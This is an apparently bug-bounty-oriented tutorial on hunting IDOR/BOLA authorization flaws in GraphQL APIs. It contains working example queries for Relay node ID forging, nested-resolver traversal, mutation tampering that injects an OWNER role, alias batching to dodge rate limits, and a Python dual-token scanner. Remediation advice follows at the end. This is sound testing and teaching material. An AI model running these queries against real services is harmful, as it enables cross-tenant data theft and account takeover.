In traditional REST APIs, Insecure Direct Object References (IDORs / BOLA) are straightforward: you tamper with a URL parameter like /api/v1/invoices/1042 and check whether the endpoint enforces user ownership.
In modern GraphQL architectures, object authorization becomes significantly more complex. GraphQL gives clients the freedom to query arbitrary graph structures, traverse nested type relationships, and query global node interfaces. When backend developers attach authorization checks only to top-level queries while neglecting field-level resolvers, critical authorization bypasses emerge.
Here is the offensive methodology and automation framework for hunting IDORs and BOLA vulnerabilities in GraphQL APIs.
1. The Relay Node Interface Trap
Many modern GraphQL APIs implement the GraphQL Global Object Identification specification (commonly called the Relay Node interface). This pattern exposes a root-level query allowing clients to fetch any object in the entire database via a global ID:
query GetAnyNode($id: ID!) {
node(id: $id) {
id
__typename
... on UserProfile {
email
billingAddress
ssn
}
... on InternalInvoice {
amount
paymentDetails
customerNotes
}
}
}
Decoding Global Node IDs
Global IDs in Relay are frequently Base64-encoded strings pairing the GraphQL type name with the internal database primary key:
# Decoding a Relay Node ID
echo -n "VXNlclByb2ZpbGU6NDI=" | base64 -d
# Output: UserProfile:42
# Crafting an IDOR payload for User 43
echo -n "UserProfile:43" | base64
# Output: VXNlclByb2ZpbGU6NDM=
The Vulnerability Pattern
Developers frequently protect query { user(id: 43) { ... } } with strict permission logic, but forget that the generic node(id: "...") resolver fetches directly from the database without verifying if the requesting session owns the referenced record.
2. Nested Resolver Authorization Leaks
In GraphQL, each field in a query can have its own independent resolver function. Authorization applied to a parent field does not automatically propagate to child fields.
Exploitation Example: Nested Graph Traversal
Consider an application where direct access to another user’s private organization data is blocked at the root query:
# BLOCKED: Root query enforces tenant boundaries
query {
organization(id: "org_999") {
name
apiKeys # Returns 403 Forbidden
}
}
However, traversing through a public resource or an indirect relationship often bypasses the gate because child resolvers assume the parent query already validated permissions:
# VULNERABLE: Child resolver lacks contextual auth check
query TraverseToTarget {
publicProject(id: "proj_public_12") {
contributors {
user {
organization {
id
name
apiKeys # 200 OK: Data leaked across tenant boundary!
}
}
}
}
}
3. Mutation Parameter Tampering & Batch Bypasses
GraphQL mutations often accept complex input objects. Developers commonly rely on client-side state to populate identity fields instead of binding operations strictly to the authenticated context.
Parameter Injection
mutation UpdateBilling($input: UpdateBillingInput!) {
updateBillingAddress(input: $input) {
success
account {
id
address
}
}
}
Variables:
{
"input": {
"accountId": "target_account_888",
"address": "123 Attacker Way",
"role": "OWNER"
}
}
If the backend extracts accountId from input rather than context.currentUser.id, full account takeover or cross-tenant modification occurs.
Alias-Based Batching
When attempting to brute-force or enumerate private object IDs through a single request to evade rate limits, leverage GraphQL aliases:
query BatchEnumerateNodes {
node_100: node(id: "T3JkZXI6MTAw") { ... on Order { id, total, user { email } } }
node_101: node(id: "T3JkZXI6MTAx") { ... on Order { id, total, user { email } } }
node_102: node(id: "T3JkZXI6MTAy") { ... on Order { id, total, user { email } } }
}
4. Offensive Python Automation: graphql_idor_scanner.py
This script takes an endpoint, two different user auth tokens (User A and User B), and automatically tests whether User B can access User A’s object via the Relay node interface or direct queries.
#!/usr/bin/env python3
"""
GraphQL Dual-Token BOLA/IDOR Validator
Compares authorized responses from User A against cross-tenant queries from User B.
"""
import base64
import requests
GRAPHQL_URL = "https://target-lab.internal/graphql"
# Authentication tokens for two separate test tenants
USER_A_TOKEN = "Bearer eyJhbGciOi..."
USER_B_TOKEN = "Bearer eyJhbGciOi..."
def encode_relay_id(type_name: str, db_id: int | str) -> str:
"""Encodes TypeName:ID into Relay base64 format."""
raw = f"{type_name}:{db_id}"
return base64.b64encode(raw.encode()).decode()
def send_query(query: str, variables: dict, token: str) -> dict:
"""Dispatches a GraphQL operation with authorization headers."""
headers = {
"Authorization": token,
"Content-Type": "application/json",
}
resp = requests.post(GRAPHQL_URL, json={"query": query, "variables": variables}, headers=headers, timeout=10)
return resp.json()
def audit_relay_node(type_name: str, target_id: int):
"""Checks if User B can read User A's object via the node interface."""
relay_id = encode_relay_id(type_name, target_id)
query = """
query CheckNodeAuth($id: ID!) {
node(id: $id) {
id
__typename
... on Order {
id
totalPrice
shippingAddress
customer { email }
}
... on Invoice {
id
amountDue
recipientEmail
}
}
}
"""
print(f"[*] Testing Relay IDOR on {type_name} (ID: {target_id} | Relay: {relay_id})")
# 1. Fetch legitimately as User A
resp_a = send_query(query, {"id": relay_id}, USER_A_TOKEN)
data_a = resp_a.get("data", {}).get("node")
if not data_a:
print(" [-] Object not accessible or does not exist for User A.")
return
print(f" [+] Baseline established: User A legitimately accessed object.")
# 2. Attempt unauthorized cross-tenant read as User B
resp_b = send_query(query, {"id": relay_id}, USER_B_TOKEN)
data_b = resp_b.get("data", {}).get("node")
errors_b = resp_b.get("errors")
if data_b and data_b == data_a:
print(f" [!] CRITICAL: BOLA/IDOR confirmed! User B accessed User A's {type_name} data.")
elif errors_b:
print(f" [✓] Secure: Request rejected by authorization policy ({errors_b[0].get('message')}).")
else:
print(" [✓] Secure: Empty data payload returned to unauthorized tenant.")
if __name__ == "__main__":
# Test common object types across numeric IDs
for test_id in range(101, 105):
audit_relay_node("Order", test_id)
5. Offensive GraphQL IDOR Methodology Checklist
Follow this workflow during API security assessments and bug bounty engagements:
[+] 1. Introspection & Surface Mapping
├── Pull the schema via full introspection query (__schema { types { ... } }).
├── Identify all types implementing the Node interface.
└── Extract all queries and mutations taking ID, UUID, or composite input arguments.
[+] 2. Relay Global ID Analysis
├── Inspect client queries for base64-encoded strings.
├── Decode and identify the serialization schema (e.g. Type:ID or UUID).
└── Probe root-level node(id: $id) and nodes(ids: [$id]) using alternate tenant tokens.
[+] 3. Nested Graph Navigation
├── Map circular and indirect object relationships (e.g. viewer -> comments -> post -> author -> privateSettings).
└── Test deep child field resolution where top-level object authorization checks are absent.
[+] 4. Mutation Input Injection
├── Test mutations that accept object identifiers in payload variables.
├── Omit identity fields to observe if backend defaults to unauthenticated or cross-tenant scope.
└── Inject elevated roles or foreign tenant IDs in generic update/delete mutations.
Defensive Remediation
- Resolver-Level Enforcement: Never assume a parent resolver has performed authorization. Enforce data loader ownership checks directly inside individual field resolvers.
- Context-Derived Identity: Always derive the acting user’s ID from the validated session/JWT context (
context.user.id), never from client-supplied mutation arguments. - Field Middleware: Utilize declarative rule-based authorization layers (such as GraphQL Shield or custom Pothos/Nexus plugins) that execute before the database query is dispatched.
